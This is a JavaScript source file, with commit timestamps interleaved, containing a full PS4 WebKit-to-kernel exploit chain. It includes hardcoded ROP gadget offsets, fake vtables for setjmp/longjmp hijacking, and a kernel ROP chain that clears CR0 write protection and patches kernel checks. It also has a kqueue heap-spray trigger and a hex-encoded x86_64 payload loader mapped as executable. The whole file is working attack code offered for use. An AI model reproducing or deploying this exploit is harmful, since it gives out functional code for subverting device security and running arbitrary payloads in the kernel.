2021-12-13 03:47:24 +01:00
var chain ;
var kchain ;
var kchain2 ;
var SAVED _KERNEL _STACK _PTR ;
var KERNEL _BASE _PTR ;
var webKitBase ;
var webKitRequirementBase ;
var libSceLibcInternalBase ;
var libKernelBase ;
var textArea = document . createElement ( "textarea" ) ;
const OFFSET _wk _vtable _first _element = 0x104F110 ;
const OFFSET _WK _memset _import = 0x000002A8 ;
const OFFSET _WK _ _ _stack _chk _fail _import = 0x00000178 ;
const OFFSET _WK _psl _builtin _import = 0xD68 ;
const OFFSET _WKR _psl _builtin = 0x33BA0 ;
const OFFSET _WK _setjmp _gadget _one = 0x0106ACF7 ;
const OFFSET _WK _setjmp _gadget _two = 0x01ECE1D3 ;
const OFFSET _WK _longjmp _gadget _one = 0x0106ACF7 ;
const OFFSET _WK _longjmp _gadget _two = 0x01ECE1D3 ;
const OFFSET _libcint _memset = 0x0004F810 ;
const OFFSET _libcint _setjmp = 0x000BB5BC ;
const OFFSET _libcint _longjmp = 0x000BB616 ;
const OFFSET _WK2 _TLS _IMAGE = 0x38e8020 ;
const OFFSET _lk _ _ _stack _chk _fail = 0x0001FF60 ;
const OFFSET _lk _pthread _create = 0x00025510 ;
const OFFSET _lk _pthread _join = 0x0000AFA0 ;
var nogc = [ ] ;
var syscalls = { } ;
var gadgets = { } ;
var wk _gadgetmap = {
"ret" : 0x32 ,
"pop rdi" : 0x319690 ,
"pop rsi" : 0x1F4D6 ,
"pop rdx" : 0x986C ,
"pop rcx" : 0x657B7 ,
"pop r8" : 0xAFAA71 ,
"pop r9" : 0x422571 ,
"pop rax" : 0x51A12 ,
"pop rsp" : 0x4E293 ,
"mov [rdi], rsi" : 0x1A97920 ,
"mov [rdi], rax" : 0x10788F7 ,
"mov [rdi], eax" : 0x9964BC ,
"cli ; pop rax" : 0x566F8 ,
"sti" : 0x1FBBCC ,
"mov rax, [rax]" : 0x241CC ,
"mov rax, [rsi]" : 0x5106A0 ,
"mov [rax], rsi" : 0x1EFD890 ,
"mov [rax], rdx" : 0x1426A82 ,
"mov [rax], edx" : 0x3B7FE4 ,
"add rax, rsi" : 0x170397E ,
"mov rdx, rax" : 0x53F501 ,
"add rax, rcx" : 0x2FBCD ,
"mov rsp, rdi" : 0x2048062 ,
"mov rdi, [rax + 8] ; call [rax]" : 0x751EE7 ,
"infloop" : 0x7DFF
} ;
var wkr _gadgetmap = {
"xchg rdi, rsp ; call [rsi - 0x79]" : 0x1d74f0 //JOP 3
} ;
var wk2 _gadgetmap = {
"mov [rax], rdi" : 0xFFDD7 ,
"mov [rax], rcx" : 0x2C9ECA ,
} ;
var hmd _gadgetmap = {
"add [r8], r12" : 0x2BCE1
} ;
var ipmi _gadgetmap = {
"mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]" : 0x344B
} ;
function userland ( ) {
2021-12-18 16:19:46 +01:00
//RW -> ROP method is strongly based off of:
2021-12-18 05:30:41 +01:00
//https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
2021-12-13 03:47:24 +01:00
p . launch _chain = launch _chain ;
p . malloc = malloc ;
p . malloc32 = malloc32 ;
p . stringify = stringify ;
p . array _from _address = array _from _address ;
p . readstr = readstr ;
var textAreaAddr = p . leakval ( textArea ) ;
var textAreVtablePtrPtr = textAreaAddr . add32 ( 0x18 ) ;
var textAreaVtPtr = p . read8 ( textAreVtablePtrPtr ) ;
//pointer to vtable address
var textAreaVtPtr = p . read8 ( p . leakval ( textArea ) . add32 ( 0x18 ) ) ;
//address of vtable
var textAreaVtable = p . read8 ( textAreaVtPtr ) ;
//use address of 1st entry (in .text) to calculate webkitbase
webKitBase = p . read8 ( textAreaVtable ) . sub32 ( OFFSET _wk _vtable _first _element ) ;
libSceLibcInternalBase = p . read8 ( get _jmptgt ( webKitBase . add32 ( OFFSET _WK _memset _import ) ) ) ;
libSceLibcInternalBase . sub32inplace ( OFFSET _libcint _memset ) ;
libKernelBase = p . read8 ( get _jmptgt ( webKitBase . add32 ( OFFSET _WK _ _ _stack _chk _fail _import ) ) ) ;
libKernelBase . sub32inplace ( OFFSET _lk _ _ _stack _chk _fail ) ;
webKitRequirementBase = p . read8 ( get _jmptgt ( webKitBase . add32 ( OFFSET _WK _psl _builtin _import ) ) ) ;
webKitRequirementBase . sub32inplace ( OFFSET _WKR _psl _builtin ) ;
for ( var gadget in wk _gadgetmap ) {
window . gadgets [ gadget ] = webKitBase . add32 ( wk _gadgetmap [ gadget ] ) ;
}
for ( var gadget in wkr _gadgetmap ) {
window . gadgets [ gadget ] = webKitRequirementBase . add32 ( wkr _gadgetmap [ gadget ] ) ;
}
function get _jmptgt ( address ) {
var instr = p . read4 ( address ) & 0xFFFF ;
var offset = p . read4 ( address . add32 ( 2 ) ) ;
if ( instr != 0x25FF ) {
return 0 ;
}
return address . add32 ( 0x6 + offset ) ;
}
function malloc ( sz ) {
var backing = new Uint8Array ( 0x10000 + sz ) ;
window . nogc . push ( backing ) ;
var ptr = p . read8 ( p . leakval ( backing ) . add32 ( 0x10 ) ) ;
ptr . backing = backing ;
return ptr ;
}
function malloc32 ( sz ) {
var backing = new Uint8Array ( 0x10000 + sz * 4 ) ;
window . nogc . push ( backing ) ;
var ptr = p . read8 ( p . leakval ( backing ) . add32 ( 0x10 ) ) ;
ptr . backing = new Uint32Array ( backing . buffer ) ;
return ptr ;
}
function array _from _address ( addr , size ) {
var og _array = new Uint32Array ( 0x1000 ) ;
var og _array _i = p . leakval ( og _array ) . add32 ( 0x10 ) ;
p . write8 ( og _array _i , addr ) ;
p . write4 ( og _array _i . add32 ( 8 ) , size ) ;
nogc . push ( og _array ) ;
return og _array ;
}
function stringify ( str ) {
var bufView = new Uint8Array ( str . length + 1 ) ;
for ( var i = 0 ; i < str . length ; i ++ ) {
bufView [ i ] = str . charCodeAt ( i ) & 0xFF ;
}
window . nogc . push ( bufView ) ;
return p . read8 ( p . leakval ( bufView ) . add32 ( 0x10 ) ) ;
}
function readstr ( addr ) {
var str = "" ;
for ( var i = 0 ; ; i ++ ) {
var c = p . read1 ( addr . add32 ( i ) ) ;
if ( c == 0x0 ) {
break ;
}
str += String . fromCharCode ( c ) ;
}
return str ;
}
function array _from _address ( addr , size ) {
var og _array = new Uint32Array ( 0x1000 ) ;
var og _array _i = p . leakval ( og _array ) . add32 ( 0x10 ) ;
p . write8 ( og _array _i , addr ) ;
p . write4 ( og _array _i . add32 ( 8 ) , size ) ;
nogc . push ( og _array ) ;
return og _array ;
}
var fakeVtable _setjmp = p . malloc32 ( 0x200 ) ;
var fakeVtable _longjmp = p . malloc32 ( 0x200 ) ;
var original _context = p . malloc32 ( 0x40 ) ;
var modified _context = p . malloc32 ( 0x40 ) ;
p . write8 ( fakeVtable _setjmp . add32 ( 0x0 ) , fakeVtable _setjmp ) ;
p . write8 ( fakeVtable _setjmp . add32 ( 0xA8 ) , webKitBase . add32 ( OFFSET _WK _setjmp _gadget _two ) ) ; // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p . write8 ( fakeVtable _setjmp . add32 ( 0x10 ) , original _context ) ;
p . write8 ( fakeVtable _setjmp . add32 ( 0x8 ) , libSceLibcInternalBase . add32 ( OFFSET _libcint _setjmp ) ) ;
p . write8 ( fakeVtable _setjmp . add32 ( 0x1C8 ) , webKitBase . add32 ( OFFSET _WK _setjmp _gadget _one ) ) ; // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
p . write8 ( fakeVtable _longjmp . add32 ( 0x0 ) , fakeVtable _longjmp ) ;
p . write8 ( fakeVtable _longjmp . add32 ( 0xA8 ) , webKitBase . add32 ( OFFSET _WK _longjmp _gadget _two ) ) ; // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p . write8 ( fakeVtable _longjmp . add32 ( 0x10 ) , modified _context ) ;
p . write8 ( fakeVtable _longjmp . add32 ( 0x8 ) , libSceLibcInternalBase . add32 ( OFFSET _libcint _longjmp ) ) ;
p . write8 ( fakeVtable _longjmp . add32 ( 0x1C8 ) , webKitBase . add32 ( OFFSET _WK _longjmp _gadget _one ) ) ; // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
function launch _chain ( chain ) {
chain . push ( window . gadgets [ "pop rdi" ] ) ;
chain . push ( original _context ) ;
chain . push ( libSceLibcInternalBase . add32 ( OFFSET _libcint _longjmp ) ) ;
p . write8 ( textAreaVtPtr , fakeVtable _setjmp ) ;
textArea . scrollLeft = 0x0 ;
p . write8 ( modified _context . add32 ( 0x00 ) , window . gadgets [ "ret" ] ) ;
p . write8 ( modified _context . add32 ( 0x10 ) , chain . stack ) ;
p . write8 ( modified _context . add32 ( 0x40 ) , p . read8 ( original _context . add32 ( 0x40 ) ) )
p . write8 ( textAreaVtPtr , fakeVtable _longjmp ) ;
textArea . scrollLeft = 0x0 ;
p . write8 ( textAreaVtPtr , textAreaVtable ) ;
}
var kview = new Uint8Array ( 0x1000 ) ;
var kstr = p . leakval ( kview ) . add32 ( 0x10 ) ;
var orig _kview _buf = p . read8 ( kstr ) ;
p . write8 ( kstr , window . libKernelBase ) ;
p . write4 ( kstr . add32 ( 8 ) , 0x40000 ) ;
var countbytes ;
for ( var i = 0 ; i < 0x40000 ; i ++ ) {
if ( kview [ i ] == 0x72 && kview [ i + 1 ] == 0x64 && kview [ i + 2 ] == 0x6c && kview [ i + 3 ] == 0x6f && kview [ i + 4 ] == 0x63 ) {
countbytes = i ;
break ;
}
}
p . write4 ( kstr . add32 ( 8 ) , countbytes + 32 ) ;
var dview32 = new Uint32Array ( 1 ) ;
var dview8 = new Uint8Array ( dview32 . buffer ) ;
for ( var i = 0 ; i < countbytes ; i ++ ) {
if ( kview [ i ] == 0x48 && kview [ i + 1 ] == 0xc7 && kview [ i + 2 ] == 0xc0 && kview [ i + 7 ] == 0x49 && kview [ i + 8 ] == 0x89 && kview [ i + 9 ] == 0xca && kview [ i + 10 ] == 0x0f && kview [ i + 11 ] == 0x05 ) {
dview8 [ 0 ] = kview [ i + 3 ] ;
dview8 [ 1 ] = kview [ i + 4 ] ;
dview8 [ 2 ] = kview [ i + 5 ] ;
dview8 [ 3 ] = kview [ i + 6 ] ;
var syscallno = dview32 [ 0 ] ;
window . syscalls [ syscallno ] = window . libKernelBase . add32 ( i ) ;
}
}
p . write8 ( kstr , orig _kview _buf ) ;
chain = new rop ( ) ;
}
function run _hax ( ) {
userland ( ) ;
if ( chain . syscall ( 23 , 0 ) . low != 0x0 ) {
kernel ( ) ;
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
2021-12-18 05:30:41 +01:00
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
2021-12-13 03:47:24 +01:00
}
2021-12-18 05:30:41 +01:00
//tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though...
2021-12-13 03:47:24 +01:00
var payload _buffer = chain . syscall ( 477 , new int64 ( 0x26200000 , 0x9 ) , 0x300000 , 7 , 0x41000 , - 1 , 0 ) ;
var payload _loader = p . malloc32 ( 0x1000 ) ;
2021-12-18 05:30:41 +01:00
//NOTE: You can replace this with a payload instead of the loader.
//You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
//And other ways, ....
//This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
2021-12-13 03:47:24 +01:00
var loader _writer = payload _loader . backing ;
loader _writer [ 0 ] = 0x56415741 ;
loader _writer [ 1 ] = 0x83485541 ;
loader _writer [ 2 ] = 0x894818EC ;
loader _writer [ 3 ] = 0xC748243C ;
loader _writer [ 4 ] = 0x10082444 ;
loader _writer [ 5 ] = 0x483C2302 ;
loader _writer [ 6 ] = 0x102444C7 ;
loader _writer [ 7 ] = 0x00000000 ;
loader _writer [ 8 ] = 0x000002BF ;
loader _writer [ 9 ] = 0x0001BE00 ;
loader _writer [ 10 ] = 0xD2310000 ;
loader _writer [ 11 ] = 0x00009CE8 ;
loader _writer [ 12 ] = 0xC7894100 ;
loader _writer [ 13 ] = 0x8D48C789 ;
loader _writer [ 14 ] = 0xBA082474 ;
loader _writer [ 15 ] = 0x00000010 ;
loader _writer [ 16 ] = 0x000095E8 ;
loader _writer [ 17 ] = 0xFF894400 ;
loader _writer [ 18 ] = 0x000001BE ;
loader _writer [ 19 ] = 0x0095E800 ;
loader _writer [ 20 ] = 0x89440000 ;
loader _writer [ 21 ] = 0x31F631FF ;
loader _writer [ 22 ] = 0x0062E8D2 ;
loader _writer [ 23 ] = 0x89410000 ;
loader _writer [ 24 ] = 0x2C8B4CC6 ;
loader _writer [ 25 ] = 0x45C64124 ;
loader _writer [ 26 ] = 0x05EBC300 ;
loader _writer [ 27 ] = 0x01499848 ;
loader _writer [ 28 ] = 0xF78944C5 ;
loader _writer [ 29 ] = 0xBAEE894C ;
loader _writer [ 30 ] = 0x00001000 ;
loader _writer [ 31 ] = 0x000025E8 ;
loader _writer [ 32 ] = 0x7FC08500 ;
loader _writer [ 33 ] = 0xFF8944E7 ;
loader _writer [ 34 ] = 0x000026E8 ;
loader _writer [ 35 ] = 0xF7894400 ;
loader _writer [ 36 ] = 0x00001EE8 ;
loader _writer [ 37 ] = 0x2414FF00 ;
loader _writer [ 38 ] = 0x18C48348 ;
loader _writer [ 39 ] = 0x5E415D41 ;
loader _writer [ 40 ] = 0x31485F41 ;
loader _writer [ 41 ] = 0xC748C3C0 ;
loader _writer [ 42 ] = 0x000003C0 ;
loader _writer [ 43 ] = 0xCA894900 ;
loader _writer [ 44 ] = 0x48C3050F ;
loader _writer [ 45 ] = 0x0006C0C7 ;
loader _writer [ 46 ] = 0x89490000 ;
loader _writer [ 47 ] = 0xC3050FCA ;
loader _writer [ 48 ] = 0x1EC0C748 ;
loader _writer [ 49 ] = 0x49000000 ;
loader _writer [ 50 ] = 0x050FCA89 ;
loader _writer [ 51 ] = 0xC0C748C3 ;
loader _writer [ 52 ] = 0x00000061 ;
loader _writer [ 53 ] = 0x0FCA8949 ;
loader _writer [ 54 ] = 0xC748C305 ;
loader _writer [ 55 ] = 0x000068C0 ;
loader _writer [ 56 ] = 0xCA894900 ;
loader _writer [ 57 ] = 0x48C3050F ;
loader _writer [ 58 ] = 0x006AC0C7 ;
loader _writer [ 59 ] = 0x89490000 ;
loader _writer [ 60 ] = 0xC3050FCA ;
chain . syscall ( 74 , payload _loader , 0x4000 , ( 0x1 | 0x2 | 0x4 ) ) ;
var pthread = p . malloc ( 0x10 ) ;
chain . call ( libKernelBase . add32 ( OFFSET _lk _pthread _create ) , pthread , 0x0 , payload _loader , payload _buffer ) ;
awaitpl ( ) ;
}
function kernel ( ) {
extra _gadgets ( ) ;
kchain _setup ( ) ;
object _setup ( ) ;
trigger _spray ( ) ;
}
var handle ;
var random _path ;
var ex _info ;
function load _prx ( name ) {
//sys_dynlib_load_prx
var res = chain . syscall ( 594 , p . stringify ( ` / ${ random _path } /common/lib/ ${ name } ` ) , 0x0 , handle , 0x0 ) ;
if ( res . low != 0x0 ) {
alert ( "failed to load prx/get handle " + name ) ;
}
//sys_dynlib_get_info_ex
p . write8 ( ex _info , 0x1A8 ) ;
res = chain . syscall ( 608 , p . read4 ( handle ) , 0x0 , ex _info ) ;
if ( res . low != 0x0 ) {
alert ( "failed to get module info from handle" ) ;
}
var tlsinit = p . read8 ( ex _info . add32 ( 0x110 ) ) ;
var tlssize = p . read4 ( ex _info . add32 ( 0x11C ) ) ;
if ( tlssize != 0 ) {
if ( name == "libSceWebKit2.sprx" ) {
tlsinit . sub32inplace ( OFFSET _WK2 _TLS _IMAGE ) ;
} else {
alert ( ` ${ name } , tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these. ` ) ;
}
}
return tlsinit ;
}
2021-12-18 05:30:41 +01:00
//Obtain extra gadgets through module loading
2021-12-13 03:47:24 +01:00
function extra _gadgets ( ) {
handle = p . malloc ( 0x150 ) ;
var randomized _path _ptr = handle . add32 ( 0x4 ) ;
ex _info = randomized _path _ptr . add32 ( 0x30 ) ;
chain . syscall ( 602 , 0 , randomized _path _ptr ) ;
random _path = p . readstr ( randomized _path _ptr ) ;
var ipmi _addr = load _prx ( "libSceIpmi.sprx" ) ;
var hmd _addr = load _prx ( "libSceHmd.sprx" ) ;
var wk2 _addr = load _prx ( "libSceWebKit2.sprx" ) ;
for ( var gadget in hmd _gadgetmap ) {
window . gadgets [ gadget ] = hmd _addr . add32 ( hmd _gadgetmap [ gadget ] ) ;
}
for ( var gadget in wk2 _gadgetmap ) {
window . gadgets [ gadget ] = wk2 _addr . add32 ( wk2 _gadgetmap [ gadget ] ) ;
}
for ( var gadget in ipmi _gadgetmap ) {
window . gadgets [ gadget ] = ipmi _addr . add32 ( ipmi _gadgetmap [ gadget ] ) ;
}
for ( var gadget in window . gadgets ) {
p . read8 ( window . gadgets [ gadget ] ) ;
}
}
2021-12-18 05:30:41 +01:00
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
2021-12-13 03:47:24 +01:00
function kchain _setup ( ) {
const KERNEL _setidt = 0x312c40 ;
const KERNEL _setcr0 = 0x1FB949 ;
const KERNEL _Xill = 0x17d500 ;
const KERNEL _veriPatch = 0x626874 ;
const KERNEL _enable _syscalls _1 = 0x490 ;
const KERNEL _enable _syscalls _2 = 0x4B5 ;
const KERNEL _enable _syscalls _3 = 0x4B9 ;
const KERNEL _enable _syscalls _4 = 0x4C2 ;
const KERNEL _mprotect = 0x80B8D ;
const KERNEL _prx = 0x23AEC4 ;
const KERNEL _dlsym _1 = 0x23B67F ;
const KERNEL _dlsym _2 = 0x221b40 ;
const KERNEL _setuid = 0x1A06 ;
const KERNEL _syscall11 _1 = 0x1100520 ;
const KERNEL _syscall11 _2 = 0x1100528 ;
const KERNEL _syscall11 _3 = 0x110054C ;
const KERNEL _syscall11 _gadget = 0x4c7ad ;
const KERNEL _mmap = 0x16632A ;
const KERNEL _setcr0 _patch = 0x3ade3B ;
const KERNEL _kqueue _close _epi = 0x398991 ;
SAVED _KERNEL _STACK _PTR = p . malloc ( 0x200 ) ;
KERNEL _BASE _PTR = SAVED _KERNEL _STACK _PTR . add32 ( 0x8 ) ;
//negative offset of kqueue string to kernel base
//0xFFFFFFFFFF86B593 0x505
//0xFFFFFFFFFF80E364 0x900
p . write8 ( KERNEL _BASE _PTR , new int64 ( 0xFF80E364 , 0xFFFFFFFF ) ) ;
kchain = new rop ( ) ;
kchain2 = new rop ( ) ;
kchain . count = 0 ;
kchain2 . count = 0 ;
kchain . set _kernel _var ( KERNEL _BASE _PTR ) ;
kchain2 . set _kernel _var ( KERNEL _BASE _PTR ) ;
kchain . push ( gadgets [ "pop rax" ] ) ;
kchain . push ( SAVED _KERNEL _STACK _PTR ) ;
kchain . push ( gadgets [ "mov [rax], rdi" ] ) ;
kchain . push ( gadgets [ "pop r8" ] ) ;
kchain . push ( KERNEL _BASE _PTR ) ;
kchain . push ( gadgets [ "add [r8], r12" ] ) ;
var idx1 = kchain . write _kernel _addr _to _chain _later ( KERNEL _setidt ) ;
var idx2 = kchain . write _kernel _addr _to _chain _later ( KERNEL _setcr0 ) ;
//Modify UD
kchain . push ( gadgets [ "pop rdi" ] ) ;
kchain . push ( 0x6 ) ;
kchain . push ( gadgets [ "pop rsi" ] ) ;
kchain . push ( gadgets [ "mov rsp, rdi" ] ) ;
kchain . push ( gadgets [ "pop rdx" ] ) ;
kchain . push ( 0xE ) ;
kchain . push ( gadgets [ "pop rcx" ] ) ;
kchain . push ( 0x0 ) ;
kchain . push ( gadgets [ "pop r8" ] ) ;
kchain . push ( 0x0 ) ;
var idx1 _dest = kchain . get _rsp ( ) ;
kchain . pushSymbolic ( ) ; // overwritten with KERNEL_setidt
kchain . push ( gadgets [ "pop rsi" ] ) ;
kchain . push ( 0x80040033 ) ;
kchain . push ( gadgets [ "pop rdi" ] ) ;
kchain . push ( kchain2 . stack ) ;
var idx2 _dest = kchain . get _rsp ( ) ;
kchain . pushSymbolic ( ) ; // overwritten with KERNEL_setcr0
kchain . finalizeSymbolic ( idx1 , idx1 _dest ) ;
kchain . finalizeSymbolic ( idx2 , idx2 _dest ) ;
//Restore original UD
var idx3 = kchain2 . write _kernel _addr _to _chain _later ( KERNEL _Xill ) ;
var idx4 = kchain2 . write _kernel _addr _to _chain _later ( KERNEL _setidt ) ;
kchain2 . push ( gadgets [ "pop rdi" ] ) ;
kchain2 . push ( 0x6 ) ;
kchain2 . push ( gadgets [ "pop rsi" ] ) ;
var idx3 _dest = kchain2 . get _rsp ( ) ;
kchain2 . pushSymbolic ( ) ; // overwritten with KERNEL_Xill
kchain2 . push ( gadgets [ "pop rdx" ] ) ;
kchain2 . push ( 0xE ) ;
kchain2 . push ( gadgets [ "pop rcx" ] ) ;
kchain2 . push ( 0x0 ) ;
kchain2 . push ( gadgets [ "pop r8" ] ) ;
kchain2 . push ( 0x0 ) ;
var idx4 _dest = kchain2 . get _rsp ( ) ;
kchain2 . pushSymbolic ( ) ; // overwritten with KERNEL_setidt
kchain2 . finalizeSymbolic ( idx3 , idx3 _dest ) ;
kchain2 . finalizeSymbolic ( idx4 , idx4 _dest ) ;
//Apply kernel patches
kchain2 . kwrite4 ( KERNEL _veriPatch , 0x83489090 ) ;
kchain2 . kwrite4 ( KERNEL _enable _syscalls _1 , 0x00000000 ) ;
//patch in reverse because /shrug
kchain2 . kwrite4 ( KERNEL _enable _syscalls _4 , 0x04EB69EB ) ;
kchain2 . kwrite4 ( KERNEL _enable _syscalls _3 , 0x3B489090 ) ;
kchain2 . kwrite4 ( KERNEL _enable _syscalls _2 , 0xC9859090 ) ;
kchain2 . kwrite4 ( KERNEL _setuid , 0x8B482AEB ) ;
kchain2 . kwrite4 ( KERNEL _mprotect , 0x00000000 ) ;
kchain2 . kwrite4 ( KERNEL _prx , 0x00C0E990 ) ;
kchain2 . kwrite4 ( KERNEL _dlsym _1 , 0x8B484CEB ) ;
kchain2 . kwrite4 ( KERNEL _dlsym _2 , 0xC3C03148 ) ;
kchain2 . kwrite4 ( KERNEL _mmap , 0x37B24137 ) ;
kchain2 . kwrite4 ( KERNEL _syscall11 _1 , 0x00000002 ) ;
kchain2 . kwrite8 _kaddr ( KERNEL _syscall11 _2 , KERNEL _syscall11 _gadget ) ;
kchain2 . kwrite4 ( KERNEL _syscall11 _3 , 0x00000001 ) ;
//Restore CR0
kchain2 . kwrite4 ( KERNEL _setcr0 _patch , 0xC3C7220F ) ;
var idx5 = kchain2 . write _kernel _addr _to _chain _later ( KERNEL _setcr0 _patch ) ;
kchain2 . push ( gadgets [ "pop rdi" ] ) ;
kchain2 . push ( 0x80050033 ) ;
var idx5 _dest = kchain2 . get _rsp ( ) ;
kchain2 . pushSymbolic ( ) ; // overwritten with KERNEL_setcr0_patch
kchain2 . finalizeSymbolic ( idx5 , idx5 _dest ) ;
//Recover
kchain2 . rax _kernel ( KERNEL _kqueue _close _epi ) ;
kchain2 . push ( gadgets [ "mov rdx, rax" ] ) ;
kchain2 . push ( gadgets [ "pop rsi" ] ) ;
kchain2 . push ( SAVED _KERNEL _STACK _PTR ) ;
kchain2 . push ( gadgets [ "mov rax, [rsi]" ] ) ;
kchain2 . push ( gadgets [ "pop rcx" ] ) ;
kchain2 . push ( 0x10 ) ;
kchain2 . push ( gadgets [ "add rax, rcx" ] ) ;
kchain2 . push ( gadgets [ "mov [rax], rdx" ] ) ;
kchain2 . push ( gadgets [ "pop rdi" ] ) ;
var idx6 = kchain2 . pushSymbolic ( ) ;
kchain2 . push ( gadgets [ "mov [rdi], rax" ] ) ;
kchain2 . push ( gadgets [ "sti" ] ) ;
kchain2 . push ( gadgets [ "pop rsp" ] ) ;
var idx6 _dest = kchain2 . get _rsp ( ) ;
kchain2 . pushSymbolic ( ) ; // overwritten with old stack pointer
kchain2 . finalizeSymbolic ( idx6 , idx6 _dest ) ;
}
function object _setup ( ) {
//Map fake object
var fake _knote = chain . syscall ( 477 , 0x4000 , 0x4000 * 0x3 , 0x3 , 0x1012 , 0xFFFFFFFF , 0x0 ) ;
var fake _filtops = fake _knote . add32 ( 0x4000 ) ;
var fake _obj = fake _knote . add32 ( 0x8000 ) ;
if ( fake _knote . low != 0x4000 ) {
alert ( "enomem: " + fake _knote ) ;
while ( 1 ) ;
}
//setup fake object
//KNOTE
{
p . write8 ( fake _knote , fake _obj ) ;
p . write8 ( fake _knote . add32 ( 0x68 ) , fake _filtops )
}
//FILTOPS
{
p . write8 ( fake _filtops . sub32 ( 0x79 ) , gadgets [ "cli ; pop rax" ] ) ; //cli ; pop rax ; ret
p . write8 ( fake _filtops . add32 ( 0x0 ) , gadgets [ "xchg rdi, rsp ; call [rsi - 0x79]" ] ) ; //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
p . write8 ( fake _filtops . add32 ( 0x8 ) , kchain . stack ) ;
p . write8 ( fake _filtops . add32 ( 0x10 ) , gadgets [ "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]" ] ) ; //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
}
//OBJ
{
p . write8 ( fake _obj . add32 ( 0x30 ) , gadgets [ "mov rdi, [rax + 8] ; call [rax]" ] ) ; //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
}
}
var trigger _spray = function ( ) {
var NUM _KQUEUES = 0x1B0 ;
var kqueue _ptr = p . malloc ( NUM _KQUEUES * 0x4 ) ;
2021-12-18 05:30:41 +01:00
//Make kqueues
2021-12-13 03:47:24 +01:00
{
for ( var i = 0 ; i < NUM _KQUEUES ; i ++ ) {
chain . fcall ( window . syscalls [ 362 ] ) ;
chain . write _result4 ( kqueue _ptr . add32 ( 0x4 * i ) ) ;
}
}
chain . run ( ) ;
var kqueues = p . array _from _address ( kqueue _ptr , NUM _KQUEUES ) ;
var that _one _socket = chain . syscall ( 97 , 2 , 1 , 0 ) ;
if ( that _one _socket . low < 0x100 || that _one _socket . low >= 0x200 ) {
alert ( "invalid socket" ) ;
while ( 1 ) ;
}
//Spray kevents
var kevent = p . malloc ( 0x20 ) ;
p . write8 ( kevent . add32 ( 0x0 ) , that _one _socket ) ;
p . write4 ( kevent . add32 ( 0x8 ) , 0xFFFF + 0x010000 ) ;
p . write4 ( kevent . add32 ( 0xC ) , 0x0 ) ;
p . write8 ( kevent . add32 ( 0x10 ) , 0x0 ) ;
p . write8 ( kevent . add32 ( 0x18 ) , 0x0 ) ; {
for ( var i = 0 ; i < NUM _KQUEUES ; i ++ ) {
chain . fcall ( window . syscalls [ 363 ] , kqueues [ i ] , kevent , 0x1 , 0x0 , 0x0 , 0x0 ) ;
}
}
chain . run ( ) ;
//Fragment memory
{
for ( var i = 20 ; i < NUM _KQUEUES ; i += 2 ) {
chain . fcall ( window . syscalls [ 6 ] , kqueues [ i ] ) ;
}
}
chain . run ( ) ;
//Trigger OOB
alert ( "Insert USB now. do not close the dialog until notification pops, remove usb after closing it." ) ;
//Trigger corrupt knote
{
for ( var i = 1 ; i < NUM _KQUEUES ; i += 2 ) {
chain . fcall ( window . syscalls [ 6 ] , kqueues [ i ] ) ;
}
}
chain . run ( ) ;
if ( chain . syscall ( 23 , 0 ) . low == 0 ) {
return ;
}
2021-12-18 05:30:41 +01:00
alert ( ` Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
if you did plug it in then the kernel heap is slightly corrupted , this might cause panics later on .
closing this alert will crash the browser for you . ` );
2021-12-13 03:47:24 +01:00
p . write8 ( 0 , 0 ) ;
return ;
2021-12-18 16:19:46 +01:00
}